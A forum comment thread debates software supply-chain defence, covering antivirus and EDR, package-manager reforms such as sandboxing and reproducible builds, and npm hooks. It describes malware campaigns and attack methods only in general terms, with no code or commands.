But it should usually be 2 virtually unbreachable layers, like 99.999% effective, because there may be a memory leak somewhere and it will be exploited once per year or so. Because 1 layer is just shy of 100%, 2 layers is already overkill, we would do 1.1 layers if possible (but of course it's not)
Maybe if it's a multibillion dollar product you'd add a third or more impenetrable layers.
And once you have those two redundant security layers, then you add deterrents and monitors, if you want.
But relying on security measures that will maybe catch 20% of attacks or 40% of attacks as a main mechanism will lead to what some have described as swiss-cheese models. https://en.wikipedia.org/wiki/Swiss_cheese_model
So yes, sometimes you can add a cheap measure that might make things more difficult to an attacker, on top of your main line of defense, then do it. But keyword cheap, if it takes 2 minutes like using a custom port, yeah for sure do that, but if you have to write an article and invent a new theory of hooks, then it's not it.
Antivirus techniques are not used by serious development professionals that I know of, I've seen it used in IT contexts were there's non technical users that might download stuff, but even then it's not really a central technique, just something that security firms sell to non-technical execs. And it's in the context of sys admins trying to control the security environment of hundreds of employees whose actions they cannot control. In the context of developers who have to ensure the security of systems they have code for, you do not need these faith based techniques, you are importing the code, you have access to it, and you have the time resources to inspect it. These antivirus technologies are used either by personal end users that don't have the ability to verify the software or audit its source, or for IT departments that cannot even inspect the contents and packets of the software their employees are using for security reasons.
Does official Apple security framework ("Apple EndpointSecurity") targeted at AV vendors serious enough for you? They themselves built an OS subsystem specifically for AVs to use, and Microsoft has done the exact same with AMSI.
There are actually very few techniques that are 99.999% effective. Cryptography when considered per se maybe is, but the wide topic of heuristic analysis is much lesser than that. Even if we consider some imagined, mythical 99.999% effectiveness, it's always measured in the specific boundaries we set during our analysis. Permission rights in the OS are 100% secure if we assume the authentication for sysop is secure. If we store the password for root in a public git repo, then OS permissions are 0% effective even if the system code hasn't changed at all. Your percent value is very fragile and relative to the boundaries we set. The unbreakable wall you think of can turn into a sheet of paper in the blink of an eye.
The cheap port-changing trick can even be 100% effective against generic massive port scanning attacks. But it's 0% effective against a targeted attack. It depends entirely on the surface area we want to defend against. If we define our protection to work against generic automated bots, then changing the port is an entirely effective solution. If we want to ensure our systems are globally "unbreakable" (whatever that means), then it's a weak security solution. In other words, effectiveness is not absolute; it's relative to the threat model.
It's not possible to inspect all the code we use. There's too much of it changing every second. The idea that developers have the time or ability to manually inspect every line of open-source code they import is an economic fantasy. In an era where frontier AI models like Mythos are finding and chaining 0-days in minutes, human review is simply outpaced. But even if we somehow did it, something would already change by the time you finish reading this paragraph. Everything needs to be reanalyzed because we don't know what shifted. And sometimes, the vulnerability manifests in the parts of the code that DIDN'T change.
By the way, I think you might not be aware that current, "next-gen" security solutions offered by Crowdstrike or SentinelOne are actually old antivirus techniques marketed as something new. EDRs are 'just' log aggregators and routers for signatures to be matched on.
Also, please don't think about programmers as someone immune to attacks, as this is not true at all. The fact that programmers invented a method of installation for programmer tools based on piping curl output directly to bash is direct proof that some programmers have absolutely no idea how security works. Especially web developers. If anything, programmers can be more dangerous than normal users because they assume they are better, and then they make the exact same mistakes as everyone else. They are just plain computer users who need to be defended from their own carelessness.
I'm the guy that built the antimiasma discovery and mitigation tool [1] and has seen a lot of the evolved and ever-changing malware samples (17 unique deobfuscated samples with different code branches and adapters/functions/features), so I feel somewhat qualified to respond to this.
The problem of everchanging malware isn't fixable by global policies and global rulesets. Package managers need to change to different workflows in the package publishing process.
1. Reproducible builds have to be mandatory
2. Deployed packages have no execution or network capability at install time
3. If package artifacts differ from source artifacts, block it temporarily
4. In order to defend against credentials harvesting: Package managers need to have mandatory container or sandbox isolation (mandatory bubblewrap, podman, or whatever isolation that segregates filesystems and networking)
5. In order to defend against github being abused as a C2 infrastructure: Package managers need to have locked behavioral rulesets of packages, "allow filesystem" or "allow networking" is useless, and needs to be per-resource. Additionally, it needs to be a mandatory allowlist-only enforcement. If it's allowed by default, it won't help with the transitive dependencies problem
6. Introduced transitive dependencies need to be locked and signed by the package repository authority.
7. In order to defend against eBPF Rootkit: Sorry, you're just f'cked. The only EDR on the market that defends against this attack surface is literally my own product (that I won't advertise here). Every other available tooling is just too outdated in how it has been developed, and too outdated how it's doing behavioral analytics of malware.
---
My personal take on this:
Pretty much every developer thinks this isn't necessary and is probably gonna downvote me for telling the security perspective here. This is not about what's necessary, this is about what's broken.
Our existing DevOps and DevSecOps culture and the involved incident response/supply chain security/GRC/etc workflows are absolutely broken against these reoccurring supply chain attacks, and the tooling that promised to catch this is also absolutely broken and useless against mutating malware that's co-generated by LLMs.
The only ones actually re-identifying the malware implants as miasma malware samples correctly were the socket.dev folks. Every other supply chain tool vendor was just bragging about a new malware campaign because they weren't up to speed and seemingly didn't know about the initial miasma campaigns (and the prototype campaign targeting RedHat's NPM packages with the gyp bindings).
Microsoft was so useless in its incident response workflow that they tried to mitigate the problem by making VSCode extension installs with a required delay time, not even having understood how the malware implants work, and not even having understood what the actual spread vector was.
It's like Microsoft had to press a red button just for the sake of having done anything, instead of openly communicating and advising to ongoing malware attacks, sharing intelligence and samples; and in consequence leaving every customer of Microsoft in the dark, getting compromised in the process, too.
[1] https://github.com/cookiengineer/antimiasma
[2] https://cookie.engineer/weblog/articles/malware-insights-mia...
> The problem of everchanging malware isn't fixable by global policies and global rulesets.
But it is an important tool that's missing in our toolbox. You could do most of the above, and still get pwned by a typo in an `npx` command. Capability based access management is not likely to land in any large package manager in the next few years, and we need solutions that work today.
1. Seems hard but doable (assuming there is some way to inject "inputs" into the build process, that can be recorded). However, I'm not sure exactly what you mean by a build here? Many package managers do not distribute binaries at all, so what is being reproduced?
2. Codegen is extremely common (serialisation, reflection, bindings, etc.) to the extent that even requiring a whitelist of packages that can do code-gen seems like a non-starter (because everyone will just whitelist everything). Sandboxing build-time execution seems like a more practical approach than denying it.
3. It's not clear to me that this distinction is meaningful for many package managers. Crates.io for example distributes a packaged set of sources. What are you comparing these against? There's no requirement that the original sources be hosted anywhere public, and I definitely don't think it should be mandating use of GitHub or anything.
4. Needs to be a whitelist rather than mandatory, but yes.
5. Yes, with the caveat below.
6. What do you mean by "locked"? You cannot lock transitive dependencies and still have a usable package infrastructure. If I have packages A and B that both depend on C, then it's critical that the version of C used is maximally flexible, otherwise it becomes impossible for downstream packages to find a version of A and B that are inter-compatible.
In my experience there's a danger for security experts to neglect the practical consequences of the limitations they enforce. This is because they incorrectly place security as the most important requirement, when by definition it cannot be:
Without a product, there is nothing to secure. When a policy becomes too onerous, people don't simply stop doing their work, they work around it. It's a mistake to judge a security policy on what it prevents: a security policy should be judged on what it allows, because an unused or bypassed security policy is less effective than a weak one.
This is why I think thinks like sandboxed execution far more effective than trying to blanket deny things: it enables people to work in a more secure way rather than pushing them towards less secure alternatives. It's why the best way to get people to use secure cryptographic libraries is not just to berate them for doing things themselves, it's to build secure libraries that they want to use because they work well and are ergonomic.
[flagged]
This is the opposite of "do one thing and do it well" unix philosophy.
You don't need your package manager to invoke your hook. You need _your_ tooling to invoke your hook.
./safely-bump-deps.sh && npm install
Want it global? Use a bash alias.
Aliases and pre-hooks are nowhere near the guarantees you want, that’s what I am arguing - not everything is invoked from a blessed shell. Safely-bump-does.sh is also impossibly hard to write because you are replicating _all of the work NPM does in transitive dependency resolution_. Unless you are re-generating the lock file from scratch - it isn’t safe. Just updating package.json isn’t sufficient for eg.
safely-bump-deps.sh does not need to do impossibly hard things. It can just call npm: outdated, install --save-exact and/or install --package-lock-only. There's plenty of solutions here.
Pushing this into a hook makes it invisible, implicit, hard to debug, and an entry point for all sorts of undefined behaviours.
Lots of Unix stuff uses hooks. cron, init, bash has multiple different hook-shaped files (eg .bashrc). The Unix philosophy isn't a sacred cow, purity over pragmatism was the Multics philosophy.
Arguably, npm does one thing, but it does it poorly.